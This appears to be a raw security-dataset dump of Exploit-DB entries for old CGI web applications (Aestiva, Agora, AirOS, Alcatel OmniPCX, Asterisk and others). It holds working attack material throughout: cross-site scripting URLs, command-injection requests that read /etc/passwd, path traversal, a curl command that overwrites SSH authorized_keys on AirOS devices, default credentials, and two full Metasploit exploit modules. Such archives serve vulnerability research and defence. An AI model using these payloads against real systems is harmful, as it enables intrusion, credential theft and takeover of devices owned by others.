deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21769
Description: Aestiva HTML/OS 2.4 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-09-03
Author: eax@3xT.org

Exploit:
source: https://www.securityfocus.com/bid/5618/info

Aestiva HTML/OS is a database engine and development suite for building websites and web-based software products.

HTML/OS does not sufficiently sanitize metacharacters from error message output. In particular, attackers may inject HTML into error pages.

It is possible to create a malicious link to the server which will generate an error page with attacker-supplied HTML and script code when visited. Arbitrary HTML and script code will be executed by the web client of the user visiting the server, in the security context of the server. 

http://www.example.com/pages/htmlos/%3Cscript%3Ealert(document.domain);%3C/script%3E
http://www.example.com/cgi-bin/erba/start/%3Cscript%3Ealert(document.domain);%3C/script%3E
http://www.exmaple.com/cgi-bin/start.cgi/%3Cscript%3Ealert(document.domain);%3C/script%3E
Exploit-DB #21184
Description: Agora.CGI 3.x/4.0 - Debug Mode Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2001-12-17
Author: Tamer Sahin

Exploit:
source: https://www.securityfocus.com/bid/3702/info

Agora.cgi is a freely available, open source shopping cart system.

When debug mode is enabled, the Agora.cgi script does not adequately filter HTML tags when debug information is being output. Debug mode is not enabled by default and must be explicitly turned on by an administrator.

As a result, it is possible for an attacker to construct a link to the script that includes maliciously constructed script code. When the link is clicked by a web user, the script code will be executed by the client in the context of the site running Agora.cgi.

This issue may be exploited to by an attacker to steal cookie-based authentication credentials, permitting the attacker to hijack an Agora.cgi session and perform actions as a legitimate user. A number of other cross-site scripting attacks are also possible.

http://agorasite/store/agora.cgi?cart_id=<script>alert(document.cookie)</script>&xm=on&product=HTML
Exploit-DB #21257
Description: AHG Search Engine 1.0 - 'search.cgi' Arbitrary Command Execution
Type: webapps
Platform: cgi
Date: 2002-01-29
Author: Aleksey Sintsov

Exploit:
source: https://www.securityfocus.com/bid/3985/info

Search.CGI is a component of the HTMLsearch Search Engine software distributed by AHG. The software is available for the Unix, Linux, and Microsoft platforms.

The search.cgi script included with the AHG Search Engine does not adequately filter input. Due to lack of sufficient input sanitization, it is possible for a remote user to pass semi-colon (;) and pipe (|) characters through a search request. This can result in the commands encapsulated between the symbols being executed with the privileges of the web server.

http://www.example.com/cgi-bin/publisher/search.cgi?dir=jobs&template=;ls|&output_number=10
Exploit-DB #30770
Description: AIDA Web - Frame.HTML Multiple Unauthorized Access Vulnerabilities
Type: webapps
Platform: cgi
Date: 2007-11-14
Author: MC Iglo

Exploit:
source: https://www.securityfocus.com/bid/26464/info

AIDA Web is prone to multiple unauthorized access vulnerabilities.

An attacker could exploit these issues to obtain potentially sensitive information that could aid in further attacks. 

http://www.example.com/CGI-Bin/frame.html?Mehr=xxx
http://www.example.com/CGI-Bin/frame.html?Mehr=xxx&SUPER=x
Exploit-DB #39701
Description: AirOS 6.x - Arbitrary File Upload
Type: webapps
Platform: cgi
Date: 2016-04-15
Author: 93c08539

Exploit:
EDB-Note Source: https://hackerone.com/reports/73480

Vulnerability

It's possible to overwrite any file (and create new ones) on AirMax systems, because the "php2" (maybe because of a patch) don't verify the "filename" value of a POST request. It's possible to a unauthenticated user to exploit this vulnerability.
Example

Consider the following request:

POST https://192.168.1.20/login.cgi HTTP/1.1
Cookie: $Version=0; AIROS_SESSIONID=9192de9ba81691e3e4d869a7207ec80f; $Path=/; ui_language=en_US
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]230390860
Content-Length: 773
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 192.168.1.20
Cookie: $Version=0; AIROS_SESSIONID=7597f7f30cec75e1faef8fb608fc43bb; $Path=/; ui_language=en_US

----------------------------[PII_REDACTED][PII_REDACTED]230390860
Content-Disposition: form-data; name="keyfile"; filename="../../etc/dropbear/authorized_keys"
Content-Type: application/vnd.ms-publisher

{{Your Public Key HERE}}
----------------------------[PII_REDACTED][PII_REDACTED]230390860--

The web server must filter the file name ../../etc/dropbear/authorized_keys to just authorized_keys or return a 404. But the AirMax just received the file, overwriting the original (creating if don't exist) in the process. In this case the attacker are uploading arbitrary public ssh keys, but it can be used to upload configurations, or "/etc/passwd"...
Consequences

It's possible to take control over any AirMax Product with simple forged http POST request, what it disastrous.


Reproducing

With a simple command:
curl -F "file=@.ssh/id_rsa.pub;filename=../../etc/dropbear/authorized_keys" -H "Expect:" 'https://192.168.1.20/login.cgi' -k

Of course if the ssh is disabled you can overwrite /etc/passwd and/or /tmp/system.cfg.
Exploit-DB #39871
Description: AirOS NanoStation M2 5.6-beta - Multiple Vulnerabilities
Type: webapps
Platform: cgi
Date: 2016-05-31
Author: Pablo Rebolini

Exploit:
# AirOS NanoStation M2 v5.6-beta 
# Arbitrary File Download & Remote Command Execution
# Tested on: XM.v5.6-beta5.24359[PII_REDACTED] - Build: 2435
#            Linux Awesome 2.6.32.63 #1 Wed Oct 8 17:54:30 EEST 2014 mips unknown
#
# Date: May 30, 2016
# Informer: Pablo Rebolini - <rebolini.pablo[x]gmail.com>

# Valid credentials are required !.
# Most of devices run default factory user/passwd combination (ubnt:ubnt)

# Take a look at /usr/www/scr.cgi 
  <?
    include("lib/settings.inc");
    include("lib/system.inc");

    $filename = $fname + ".sh";
    $file = $fname + $status;
    
    header("Content-Type: application/force-download");
    header("Content-Disposition: attachment; filename=" + $filename);
      
    passthru("cat /tmp/persistent/$file");
    exit;


# Arbitrary File Download
# Poc:
  GET http://x.x.x.x/scr.cgi?fname=../../../../../etc/passwd%00&status=

  Raw Response: dWJudDpWdnB2Q3doY2NGdjZROjA6MDpBZG1pbmlzdHJhdG9yOi9ldGMvcGVyc2lzdGVudDovYmluL3NoCm1jdXNlcjohVnZERThDMkVCMTowOjA6Oi9ldGMvcGVyc2lzdGVudC9tY3VzZXI6L2Jpbi9zaAo=
  
  Base64 Decoded: ubnt:VvpvCwhccFv6Q:0:0:Administrator:/etc/persistent:/bin/sh
                  mcuser:!VvDE8C2EB1:0:0::/etc/persistent/mcuser:/bin/sh


# Remote Command Execution:
# Poc:

  GET http://x.x.x.x/scr.cgi?fname=rc.poststart.sh;cat%20/etc/hosts%00&status=

  Raw Response: MTI3LjAuMC4xCWxvY2FsaG9zdC5sb2NhbGRvbWFpbglsb2NhbGhvc3QK
  
  Base64 Decoded: 127.0.0.1	localhost.localdomain	localhost
Exploit-DB #21187
Description: Aktivate 1.0 3 - Shopping Cart Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2001-12-18
Author: Tamer Sahin

Exploit:
source: https://www.securityfocus.com/bid/3714/info

Aktivate is a shopping cart system which is geared towards Unix and Linux users, uses MySQL as a backend, and is written in Perl.

Aktivate is prone to cross-site scripting attacks. It is possible to construct a link containing arbitrary script code to a website running Aktivate. When a user browses the link, the script code will be executed on the user in the context of the site hosting the affected software.

The impact of this issue is that the attacker is able to hijack a legitimate web user's session, by stealing cookie-based authentication credentials. Other cross-site scripting attacks are also possible.

Aktivate 1.03 is known to be vulnerable, other versions may also be affected. 

https://host/aktivate/cgi-bin/catgy.cgi?key=0&cartname=axa[PII_REDACTED]51089&desc=<script>alert(document.domain)</script>
Exploit-DB #5662
Description: Alcatel OmniPCX Office 210/061.1 - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2008-05-21
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-020


Application:                    Alcatel OmniPCX Office
Versions Affected:              Alcatel OmniPCX Office since release 210/061.1
Vendor URL:                     http://alcatel.com
Bugs:                           Remote command execution
Exploits:                       YES
Risk:                           High
CVSS Score:                     7.31
CVE-number:                     2008-1331
Reported:                       31.01.2008
Vendor response:                01.02.2008
Customers informed:             07.03.2008
Published on PSIRT:             01.04.2008
Date of Public Advisory:        21.05.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Introduction
************

The OmniPCX Enterprise is an integrated communications solution for
medium-sized businesses and large corporations. It combines the best of
the old (legacy TDM phone connectivity) with the new (a native IP
platform and support for Session Initiation Protocol, or SIP) to provide
an effective and complete communications solution for cost-conscious
companies on the cutting edge.

(from the vendor's homepage)


Description
***********

Alcatel OmniPCX Office  Web Interface has critical  security vulnerability Remote command execution

The risk of this vulnerability is high. Any user which has access to the 
web interface of the OmniPCX Enterprise solution will be able to execute 
arbitrary commands on the server with the permissions of the webserver.


Details
*******


Remote command execution vulnerability found in script /cgi-data/FastJSData.cgi   in parameter name id2
Variable id2  not being filtered when passed to the shell. Thus, arbitrary commands can be executed on
the server by adding them to the user variable, separated by semicolons.

You can find more details on this advisory on vendors website http://www1.alcatel-lucent.com/psirt/statements.htm
under reference 2008001



Example:


http://[server]/cgi-data/FastJSData.cgi?id1=sh2kerr&id2=91|cat%20/etc/passwd




Fix Information
***************

Alcatel  was altered to fix this flaw on 01.04.2008. Updated version can be downloaded here:

http://www1.alcatel-lucent.com/enterprise/en/products/ip_telephony/omnipcxenterprise/index.html






About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, 
audit and penetration testing services, risk analysis and ISMS-related services and certification for 
ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application 
and database security problems with vulnerability reports, advisories and whitepapers posted regularly 
on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-05-21]
Exploit-DB #16857
Description: Alcatel-Lucent OmniPCX Enterprise - masterCGI Arbitrary Command Execution (Metasploit)
Type: webapps
Platform: cgi
Date: 2010-10-05
Author: Metasploit

Exploit:
##
# $Id: alcatel_omnipcx_mastercgi_exec.rb 10556 2010-10-05 23:13:04Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking # Only interactive single commands supported

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',
			'Description'    => %q{
					This module abuses a metacharacter injection vulnerability in the
				HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
				Communication Server 7.1 and earlier. The Unified Maintenance Tool
				contains a 'masterCGI' binary which allows an unauthenticated attacker
				to execute arbitrary commands by specifing shell metacharaters as the
				'user' within the 'ping' action to obtain 'httpd' user access. This
				module only supports command line payloads, as the httpd process kills
				the reverse/bind shell spawn after the HTTP 200 OK response.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10556 $',
			'References'     =>
				[
					[ 'OSVDB', '40521' ],
					[ 'BID', '25694' ],
					[ 'CVE', '2007-3010' ],
					[ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic'
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Sep 09 2007'))

		register_options(
			[
				Opt::RPORT(443),
				OptBool.new('SSL', [true, 'Use SSL', true]),
			], self.class)
	end

	def exploit
		connect

		cmd = payload.encoded.gsub(" ", '${IFS}')
		req =
			"GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +
			"Host: #{rhost}\r\n\r\n"

		print_status("Sending GET request with command line payload...")
		sock.put(req)

		res = sock.get(3,3)

		if (res =~ /<h5>(.*)<\/h5>/smi)
			out = $1
			print_line(out.gsub(/<h5>|<\/h5>/, ''))
			return
		end

		handler
		disconnect
	end

end
Exploit-DB #30591
Description: Alcatel-Lucent OmniPCX Enterprise 7.1 - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2007-09-17
Author: RedTeam Pentesting GmbH

Exploit:
source: https://www.securityfocus.com/bid/25694/info

Alcatel-Lucent OmniPCX Enterprise is prone to a remote command-execution vulnerability because it fails to adequately sanitize user-supplied data.

Attackers can exploit this issue to execute arbitrary commands with the privileges of the 'httpd' user. Successful attacks may facilitate a compromise of the application and underlying webserver; other attacks are also possible.

Alcatel-Lucent OmniPCX Enterprise R7.1 and prior versions are vulnerable to this issue. 

curl -k "https://www.example.com/cgi-bin/masterCGI?ping=nomip&user=;ls\${IFS}-l;"
Exploit-DB #10031
Description: Alcatel-Lucent OmniPCX Enterprise Communication Server 7.1 - masterCGI Command Injection (Metasploit)
Type: webapps
Platform: cgi
Date: 2007-09-17
Author: patrick

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',
			'Description'    => %q{
				This module abuses a metacharacter injection vulnerability in the
				HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
				Communication Server 7.1 and earlier. The Unified Maintenance Tool
				contains a 'masterCGI' binary which allows an unauthenticated attacker
				to execute arbitrary commands by specifing shell metacharaters as the
				'user' within the 'ping' action to obtain 'httpd' user access. This
				module only supports command line payloads, as the httpd process kills
				the reverse/bind shell spawn after the HTTP 200 OK response.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'OSVDB', '40521' ],
					[ 'BID', '25694' ],
					[ 'CVE', '2007-3010' ],
					[ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,				
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic'
						}
				},
			'Targets'        => 
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget' => 0))
			
			register_options(
				[
					Opt::RPORT(443),
					OptBool.new('SSL', [true, 'Use SSL', true]),
				], self.class)
	end
	
	def exploit
		connect

		cmd = payload.encoded.gsub(" ", '${IFS}')
		req = 
			"GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +
			"Host: #{rhost}\r\n\r\n"
		
		print_status("Sending GET request with command line payload...")
		sock.put(req)

		res = sock.get(3,3)

		if (res =~ /<h5>(.*)<\/h5>/smi)
			out = $1
			print_line(out.gsub(/<h5>|<\/h5>/, ''))
			return
		end

		handler
		disconnect
	end

end
Exploit-DB #659
Description: Alex Heiphetz Group eZshopper - 'loadpage.cgi' Directory Traversal
Type: webapps
Platform: cgi
Date: 2004-11-25
Author: Zero X

Exploit:
Example:

http://targethost/cgi-bin/loadpage.cgi?user_id=id&file=.|./.|./.|./.|./.|./etc/passwd%00.html

# milw0rm.com [2004-11-25]
Exploit-DB #31043
Description: Alice Gate2 Plus Wi-Fi Router - Cross-Site Request Forgery
Type: webapps
Platform: cgi
Date: 2008-01-21
Author: WarGame

Exploit:
source: https://www.securityfocus.com/bid/27374/info

Alice Gate2 Plus Wi-Fi routers are prone to a cross-site request-forgery vulnerability.

An attacker can exploit this issue to alter administrative configuration on affected devices. Specifically, altering the wireless encryption settings on devices has been demonstrated. Other attacks may also be possible. 

http://www.example.com/cp06_wifi_m_nocifr.cgi?wlChannel=Auto&wlRadioEnable=on
Exploit-DB #26289
Description: Alkalay.Net (Multiple Scripts) - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2005-08-21
Author: sullo@cirt.net

Exploit:
source: https://www.securityfocus.com/bid/14893/info

Multiple Alkalay.net scripts are prone to arbitrary remote command execution vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.

An attacker can prefix arbitrary commands with the pipe '|' character and have them executed in the context of the Web server process.

http://www.example.com/cgi-bin/man-cgi?section=0&topic=ls;touch%20/tmp/test
http://www.example.com/cgi-bin/nslookup.cgi?query=example.com%3B/bin/cat%20/etc/passwd&type=ANY&ns=
http://www.example.com/cgi-bin/contribute.pl?template=/etc/passwd&contribdir=.
http://www.example.com/cgi-bin/contribute.cgi?template=/etc/passwd&contribdir=.
Exploit-DB #25067
Description: alt-n WebAdmin 3.0.2 - Multiple Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-01-28
Author: David A. P?rez

Exploit:
source: https://www.securityfocus.com/bid/12395/info

Alt-n WebAdmin is reportedly affected by multiple remote vulnerabilities.

The application is affected by multiple cross-site scripting issues. An attacker may leverage these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

The application is reportedly also affected by an access validation vulnerability with regards to user accounts. This issue could permit an attacker to modify various aspects of an existing users account.

The vendor has addressed these issues in Alt-N WebAdmin 3.03 and later; earlier versions are reportedly vulnerable. 

http://www.example.com/WebAdmin/useredit_account.wdm?user=%3Cscript%3Ealert('test')%3C/script%3E
http://www.example.com/WebAdmin/modalframe.wdm?file=http://other_server/page.wdm

The following proof of concept demonstrates the access validation issue:
http://www.example.com/WebAdmin/useredit_account.wdm?user=otheruser@domain
Exploit-DB #26846
Description: AltantForum 4.0.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-12-15
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15887/info

AtlantForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/atl.cgi?ct=&md=search&brf=&before=&sch_allsubct=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E
http://www.example.com/atl.cgi?ct=&md=search&brf=&before=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E
http://www.example.com/atl.cgi?ct=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #21435
Description: askSam 4.0 Web Publisher - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-05-05
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4670/info

askSam is a database system. An optional component, askSam Web Publisher (versions 1 and 4), is reportedly vulnerable to cross site scripting vulnerability in the as_web.exe (or as_web4.exe) component. This is due to a failure to strip script and HTML when returning error messages that include user input.

The same component can also disclose paths on the server when non-existant files are requested. 

http://somewhere/as_web.exe?Command=search&file=non-existant-file&request=&MaxHits=10&NumLines=1
http://somewhere/as_web.exe?non-existant
http://somewhere/as_web4.exe?Command=First&File=non-existant-file

These examples demonstrate the cross site scripting issue:
/as_web4.exe?existant-ask-file!!.ask+B+<script>ANYSCRIPT</script>
/as_web.exe?existant-ask-file!!.ask+B+<script>ANYSCRIPT<script>
Exploit-DB #26475
Description: Asterisk 0.x/1.0/1.2 Voicemail - Unauthorized Access
Type: webapps
Platform: cgi
Date: 2005-11-07
Author: Adam Pointon

Exploit:
source: https://www.securityfocus.com/bid/15336/info

Asterisk is prone to an unauthorized-access vulnerability. This issue is due to a failure in the application to properly verify user-supplied input.

Successful exploitation will grant an attacker access to a victim user's voicemail and to any '.wav/.WAV' files currently on the affected system. 

http://www.example.org/cgi-bin/vmail.cgi?action=audio&folder=../201/INBOX&mailbox=200&context=default&[CREDENTIAL_REDACTED]=0001&format=wav
Exploit-DB #26845
Description: Atlant Pro 8.0.9 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-12-15
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15886/info

Atlant Pro is prone to cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

/atl.cgi?ct=a8&md=search&brf=&before=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E

/atl.cgi?ct=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E